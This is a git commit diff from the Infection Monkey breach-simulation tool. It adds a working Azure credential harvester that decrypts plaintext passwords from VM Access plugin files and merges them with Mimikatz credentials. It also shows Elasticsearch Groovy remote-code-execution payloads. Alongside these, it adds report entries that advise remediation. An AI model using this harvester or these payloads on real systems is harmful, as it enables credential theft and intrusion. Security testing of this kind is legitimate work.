forked from p15670423/monkey
Merge branch 'nadler/pth' of github.com:guardicore/monkey into nadler/pth
This commit is contained in:
commit
61741eb94d
|
@ -39,12 +39,12 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
|||
|
||||
Setup
|
||||
-------------------------------
|
||||
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki.
|
||||
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
|
||||
|
||||
|
||||
Building the Monkey from source
|
||||
-------------------------------
|
||||
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/setup)
|
||||
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
||||
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
||||
|
||||
|
||||
|
|
|
@ -25,7 +25,7 @@ def _cast_by_example(value, example):
|
|||
if example_type is str:
|
||||
return os.path.expandvars(value).encode("utf8")
|
||||
elif example_type is tuple and len(example) != 0:
|
||||
if value is None or value == tuple(None):
|
||||
if value is None or value == tuple([None]):
|
||||
return tuple()
|
||||
return tuple([_cast_by_example(x, example[0]) for x in value])
|
||||
elif example_type is list and len(example) != 0:
|
||||
|
@ -272,5 +272,7 @@ class Configuration(object):
|
|||
|
||||
mimikatz_dll_name = "mk.dll"
|
||||
|
||||
extract_azure_creds = True
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -15,6 +15,7 @@
|
|||
"current_server": "41.50.73.31:5000",
|
||||
"alive": true,
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"depth": 2,
|
||||
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
|
|
|
@ -25,11 +25,11 @@ class ElasticGroovyExploiter(HostExploiter):
|
|||
MONKEY_RESULT_FIELD = "monkey_result"
|
||||
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
||||
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
|
||||
JAVA_GET_TMP_DIR =\
|
||||
JAVA_GET_TMP_DIR = \
|
||||
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
||||
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
|
||||
JAVA_CMD = GENERIC_QUERY \
|
||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
|
||||
|
||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||
|
@ -139,8 +139,8 @@ class ElasticGroovyExploiter(HostExploiter):
|
|||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
if (http_thread.downloads != 1) or (
|
||||
'ELF' not in
|
||||
self.check_if_remote_file_exists_linux(target_path)):
|
||||
'ELF' not in
|
||||
self.check_if_remote_file_exists_linux(target_path)):
|
||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
return False
|
||||
return True
|
||||
|
@ -204,7 +204,7 @@ class ElasticGroovyExploiter(HostExploiter):
|
|||
"""
|
||||
result = self.attack_query(payload)
|
||||
if not result: # not vulnerable
|
||||
return False
|
||||
return ""
|
||||
return result[0]
|
||||
|
||||
def attack_query(self, payload):
|
||||
|
@ -232,5 +232,5 @@ class ElasticGroovyExploiter(HostExploiter):
|
|||
try:
|
||||
json_resp = json.loads(response.text)
|
||||
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
|
||||
except KeyError:
|
||||
except (KeyError, IndexError):
|
||||
return None
|
||||
|
|
|
@ -106,41 +106,47 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
"""
|
||||
sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))]
|
||||
[s.setblocking(0) for s in sockets]
|
||||
good_ports = []
|
||||
possible_ports = []
|
||||
connected_ports_sockets = []
|
||||
try:
|
||||
LOG.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports)))
|
||||
for sock, port in zip(sockets, ports):
|
||||
err = sock.connect_ex((ip, port))
|
||||
if err == 0:
|
||||
good_ports.append((port, sock))
|
||||
if err == 0: # immediate connect
|
||||
connected_ports_sockets.append((port, sock))
|
||||
possible_ports.append((port, sock))
|
||||
continue
|
||||
if err == 10035: # WSAEWOULDBLOCK is valid, see https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
|
||||
good_ports.append((port, sock))
|
||||
if err == 10035: # WSAEWOULDBLOCK is valid, see
|
||||
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
|
||||
possible_ports.append((port, sock))
|
||||
continue
|
||||
if err == 115: # EINPROGRESS 115 /* Operation now in progress */
|
||||
good_ports.append((port, sock))
|
||||
possible_ports.append((port, sock))
|
||||
continue
|
||||
LOG.warning("Failed to connect to port %s, error code is %d", port, err)
|
||||
|
||||
if len(good_ports) != 0:
|
||||
if len(possible_ports) != 0:
|
||||
time.sleep(timeout)
|
||||
# this is possibly connected. meaning after timeout wait, we expect to see a connection up
|
||||
# Possible valid errors codes if we chose to check for actually closed are
|
||||
# ECONNREFUSED (111) or WSAECONNREFUSED (10061) or WSAETIMEDOUT(10060)
|
||||
connected_ports_sockets = [s for s in good_ports if
|
||||
s[1].getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) == 0]
|
||||
sock_objects = [s[1] for s in possible_ports]
|
||||
# first filter
|
||||
_, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
|
||||
for s in writeable_sockets:
|
||||
try: # actual test
|
||||
connected_ports_sockets.append((s.getpeername()[1], s))
|
||||
except socket.error: # bad socket, select didn't filter it properly
|
||||
pass
|
||||
LOG.debug(
|
||||
"On host %s discovered the following ports %s" %
|
||||
(str(ip), ",".join([str(x[0]) for x in connected_ports_sockets])))
|
||||
(str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
|
||||
banners = []
|
||||
if get_banner:
|
||||
if get_banner and (len(connected_ports_sockets) != 0):
|
||||
readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0)
|
||||
# read first BANNER_READ bytes
|
||||
banners = [sock.recv(BANNER_READ) if sock in readable_sockets else ""
|
||||
for port, sock in connected_ports_sockets]
|
||||
pass
|
||||
# try to cleanup
|
||||
[s[1].close() for s in good_ports]
|
||||
[s[1].close() for s in possible_ports]
|
||||
return [port for port, sock in connected_ports_sockets], banners
|
||||
else:
|
||||
return [], []
|
||||
|
|
|
@ -13,5 +13,6 @@ PyInstaller
|
|||
ecdsa
|
||||
netifaces
|
||||
mock
|
||||
nose
|
||||
wmi
|
||||
nos
|
||||
ipaddress
|
||||
wmi
|
||||
|
|
|
@ -6,6 +6,7 @@ import psutil
|
|||
from enum import IntEnum
|
||||
|
||||
from network.info import get_host_subnets
|
||||
from azure_cred_collector import AzureCollector
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -104,3 +105,29 @@ class InfoCollector(object):
|
|||
"""
|
||||
LOG.debug("Reading subnets")
|
||||
self.info['network_info'] = {'networks': get_host_subnets()}
|
||||
|
||||
def get_azure_info(self):
|
||||
"""
|
||||
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
|
||||
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
|
||||
:return: None. Updates class information
|
||||
"""
|
||||
from config import WormConfiguration
|
||||
if not WormConfiguration.extract_azure_creds:
|
||||
return
|
||||
LOG.debug("Harvesting creds if on an Azure machine")
|
||||
azure_collector = AzureCollector()
|
||||
if 'credentials' not in self.info:
|
||||
self.info["credentials"] = {}
|
||||
azure_creds = azure_collector.extract_stored_credentials()
|
||||
for cred in azure_creds:
|
||||
username = cred[0]
|
||||
password = cred[1]
|
||||
if username not in self.info["credentials"]:
|
||||
self.info["credentials"][username] = {}
|
||||
# we might be losing passwords in case of multiple reset attempts on same username
|
||||
# or in case another collector already filled in a password for this user
|
||||
self.info["credentials"][username]['password'] = password
|
||||
if len(azure_creds) != 0:
|
||||
self.info["Azure"] = {}
|
||||
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
|
||||
|
|
|
@ -0,0 +1,104 @@
|
|||
import sys
|
||||
import logging
|
||||
import os.path
|
||||
import json
|
||||
import glob
|
||||
import subprocess
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AzureCollector(object):
|
||||
"""
|
||||
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
if sys.platform.startswith("win"):
|
||||
self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
|
||||
self.extractor = AzureCollector.get_pass_windows
|
||||
else:
|
||||
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
|
||||
self.extractor = AzureCollector.get_pass_linux
|
||||
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
|
||||
|
||||
def extract_stored_credentials(self):
|
||||
"""
|
||||
Returns a list of username/password pairs saved under configuration files
|
||||
:return: List of (user/pass), possibly empty
|
||||
"""
|
||||
results = [self.extractor(filepath) for filepath in self.file_list]
|
||||
results = [x for x in results if x]
|
||||
LOG.info("Found %d Azure VM access configuration file", len(results))
|
||||
return results
|
||||
|
||||
@staticmethod
|
||||
def get_pass_linux(filepath):
|
||||
"""
|
||||
Extract passwords from Linux azure VM Access files
|
||||
:return: Username, password
|
||||
"""
|
||||
linux_cert_store = "/var/lib/waagent/"
|
||||
try:
|
||||
json_data = json.load(open(filepath, 'r'))
|
||||
# this is liable to change but seems to be stable over the last year
|
||||
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
|
||||
cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
|
||||
base64_command = """openssl base64 -d -a"""
|
||||
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
|
||||
b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
|
||||
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
|
||||
decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
|
||||
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
|
||||
decrypt_data = json.loads(decrypt_raw)
|
||||
return decrypt_data['username'], decrypt_data['password']
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
return None
|
||||
except (KeyError, ValueError):
|
||||
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||
return None
|
||||
except subprocess.CalledProcessError:
|
||||
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def get_pass_windows(filepath):
|
||||
"""
|
||||
Extract passwords from Windows azure VM Access files
|
||||
:return: Username,password
|
||||
"""
|
||||
try:
|
||||
json_data = json.load(open(filepath, 'r'))
|
||||
# this is liable to change but seems to be stable over the last year
|
||||
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
|
||||
username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
|
||||
# we're going to do as much of this in PS as we can.
|
||||
ps_block = ";\n".join([
|
||||
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
|
||||
'$base64 = "%s"' % protected_data,
|
||||
"$content = [Convert]::FromBase64String($base64)",
|
||||
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
|
||||
"$env.Decode($content)",
|
||||
"$env.Decrypt()",
|
||||
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
|
||||
"Write-Host $utf8content" # we want to simplify parsing
|
||||
])
|
||||
ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
|
||||
ps_out = ps_proc.communicate(ps_block)[0]
|
||||
# this is disgusting but the alternative is writing the file to disk...
|
||||
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
|
||||
password = json.loads(password_raw)["Password"]
|
||||
return username, password
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
return None
|
||||
except (KeyError, ValueError):
|
||||
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||
return None
|
||||
except subprocess.CalledProcessError:
|
||||
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
|
||||
return None
|
|
@ -25,4 +25,5 @@ class LinuxInfoCollector(InfoCollector):
|
|||
self.get_hostname()
|
||||
self.get_process_list()
|
||||
self.get_network_info()
|
||||
self.get_azure_info()
|
||||
return self.info
|
||||
|
|
|
@ -96,13 +96,15 @@ class WindowsInfoCollector(InfoCollector):
|
|||
self.get_hostname()
|
||||
self.get_process_list()
|
||||
self.get_network_info()
|
||||
self.get_azure_info()
|
||||
|
||||
self.get_wmi_info()
|
||||
self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa")
|
||||
self.get_installed_packages()
|
||||
|
||||
mimikatz_collector = MimikatzCollector()
|
||||
self.info["credentials"] = mimikatz_collector.get_logon_info()
|
||||
mimikatz_info = mimikatz_collector.get_logon_info()
|
||||
self.info["credentials"].update(mimikatz_info)
|
||||
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
|
||||
|
||||
return self.info
|
||||
|
|
|
@ -24,6 +24,7 @@ class Monkey(flask_restful.Resource):
|
|||
|
||||
if guid:
|
||||
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||
monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config'])
|
||||
return monkey_json
|
||||
|
||||
return {}
|
||||
|
@ -65,7 +66,8 @@ class Monkey(flask_restful.Resource):
|
|||
# if new monkey telem, change config according to "new monkeys" config.
|
||||
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
|
||||
if not db_monkey:
|
||||
new_config = ConfigService.get_flat_config(False, True)
|
||||
# we pull it encrypted because we then decrypt it for the monkey in get
|
||||
new_config = ConfigService.get_flat_config(False, False)
|
||||
monkey_json['config'] = monkey_json.get('config', {})
|
||||
monkey_json['config'].update(new_config)
|
||||
else:
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
import copy
|
||||
import collections
|
||||
import functools
|
||||
from jsonschema import Draft4Validator, validators
|
||||
|
||||
|
@ -521,8 +522,8 @@ SCHEMA = {
|
|||
}
|
||||
}
|
||||
},
|
||||
"mimikatz": {
|
||||
"title": "Mimikatz",
|
||||
"systemInfo": {
|
||||
"title": "System collection",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"mimikatz_dll_name": {
|
||||
|
@ -531,6 +532,13 @@ SCHEMA = {
|
|||
"default": "mk.dll",
|
||||
"description":
|
||||
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
|
||||
},
|
||||
"extract_azure_creds": {
|
||||
"title": "Harvest Azure Credentials",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -978,6 +986,19 @@ class ConfigService:
|
|||
def encrypt_config(config):
|
||||
ConfigService._encrypt_or_decrypt_config(config, False)
|
||||
|
||||
@staticmethod
|
||||
def decrypt_flat_config(flat_config):
|
||||
"""
|
||||
Same as decrypt_config but for a flat configuration
|
||||
"""
|
||||
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
||||
for key in keys:
|
||||
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
|
||||
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
|
||||
else:
|
||||
flat_config[key] = encryptor.dec(flat_config[key])
|
||||
return flat_config
|
||||
|
||||
@staticmethod
|
||||
def _encrypt_or_decrypt_config(config, is_decrypt=False):
|
||||
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
|
||||
|
|
|
@ -33,6 +33,7 @@ class ReportService:
|
|||
SAMBACRY = 3
|
||||
SHELLSHOCK = 4
|
||||
CONFICKER = 5
|
||||
AZURE = 6
|
||||
|
||||
class WARNINGS_DICT(Enum):
|
||||
CROSS_SEGMENT = 0
|
||||
|
@ -71,6 +72,19 @@ class ReportService:
|
|||
}
|
||||
for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})]
|
||||
|
||||
@staticmethod
|
||||
def get_azure_issues():
|
||||
creds = ReportService.get_azure_creds()
|
||||
machines = set([instance['origin'] for instance in creds])
|
||||
|
||||
return [
|
||||
{
|
||||
'type': 'azure_password',
|
||||
'machine': machine,
|
||||
'users': set([instance['username'] for instance in creds if instance['origin'] == machine])
|
||||
}
|
||||
for machine in machines]
|
||||
|
||||
@staticmethod
|
||||
def get_scanned():
|
||||
nodes = \
|
||||
|
@ -135,6 +149,26 @@ class ReportService:
|
|||
)
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def get_azure_creds():
|
||||
"""
|
||||
Recover all credentials marked as being from an Azure machine
|
||||
:return: List of credentials.
|
||||
"""
|
||||
creds = []
|
||||
for telem in mongo.db.telemetry.find(
|
||||
{'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}},
|
||||
{'data.Azure': 1, 'monkey_guid': 1}
|
||||
):
|
||||
azure_users = telem['data']['Azure']['usernames']
|
||||
if len(azure_users) == 0:
|
||||
continue
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
|
||||
'origin': origin} for user in azure_users]
|
||||
creds.extend(azure_leaked_users)
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def process_general_exploit(exploit):
|
||||
ip_addr = exploit['data']['machine']['ip_addr']
|
||||
|
@ -277,7 +311,7 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_issues():
|
||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues()
|
||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
||||
issues_dict = {}
|
||||
for issue in issues:
|
||||
machine = issue['machine']
|
||||
|
@ -315,7 +349,8 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_config_ips():
|
||||
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, True) != 'FixedRange':
|
||||
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True,
|
||||
True) != 'FixedRange':
|
||||
return []
|
||||
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
|
||||
|
||||
|
@ -325,7 +360,7 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_issues_overview(issues, config_users, config_passwords):
|
||||
issues_byte_array = [False] * 6
|
||||
issues_byte_array = [False] * len(ReportService.ISSUES_DICT)
|
||||
|
||||
for machine in issues:
|
||||
for issue in issues[machine]:
|
||||
|
@ -337,6 +372,8 @@ class ReportService:
|
|||
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
||||
elif issue['type'] == 'conficker':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
||||
elif issue['type'] == 'azure_password':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||
issue['username'] in config_users:
|
||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||
|
@ -397,7 +434,8 @@ class ReportService:
|
|||
{
|
||||
'scanned': ReportService.get_scanned(),
|
||||
'exploited': ReportService.get_exploited(),
|
||||
'stolen_creds': ReportService.get_stolen_creds()
|
||||
'stolen_creds': ReportService.get_stolen_creds(),
|
||||
'azure_passwords': ReportService.get_azure_creds(),
|
||||
},
|
||||
'recommendations':
|
||||
{
|
||||
|
|
|
@ -103,7 +103,7 @@ class PreviewPaneComponent extends AuthComponent {
|
|||
}
|
||||
|
||||
downloadLog(asset) {
|
||||
fetch('/api/log?id=' + asset.id)
|
||||
this.authFetch('/api/log?id=' + asset.id)
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
let timestamp = res['timestamp'];
|
||||
|
|
|
@ -21,7 +21,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
ELASTIC: 2,
|
||||
SAMBACRY: 3,
|
||||
SHELLSHOCK: 4,
|
||||
CONFICKER: 5
|
||||
CONFICKER: 5,
|
||||
AZURE: 6
|
||||
};
|
||||
|
||||
Warning =
|
||||
|
@ -313,6 +314,11 @@ class ReportPageComponent extends AuthComponent {
|
|||
{this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
|
||||
<li>Machines are accessible using passwords supplied by the user during the Monkey’s
|
||||
configuration.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.AZURE] ?
|
||||
<li>Azure machines expose plaintext passwords. (<a
|
||||
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
||||
>More info</a>)</li> : null}
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
:
|
||||
|
@ -587,6 +593,21 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
generateAzureIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
Delete VM Access plugin configuration files.
|
||||
<CollapsibleWellComponent>
|
||||
Credentials could be stolen from <span
|
||||
className="label label-primary">{issue.machine}</span> for the following users <span
|
||||
className="label label-primary">{issue.users}</span>. Read more about the security issue and remediation <a
|
||||
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
||||
>here</a>.
|
||||
</CollapsibleWellComponent>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
generateConfickerIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
|
@ -631,6 +652,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
|
||||
|
||||
generateIssue = (issue) => {
|
||||
let data;
|
||||
switch (issue.type) {
|
||||
|
@ -670,6 +693,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
case 'tunnel':
|
||||
data = this.generateTunnelIssue(issue);
|
||||
break;
|
||||
case 'azure_password':
|
||||
data = this.generateAzureIssue(issue);
|
||||
break;
|
||||
}
|
||||
return data;
|
||||
};
|
||||
|
|
Loading…
Reference in New Issue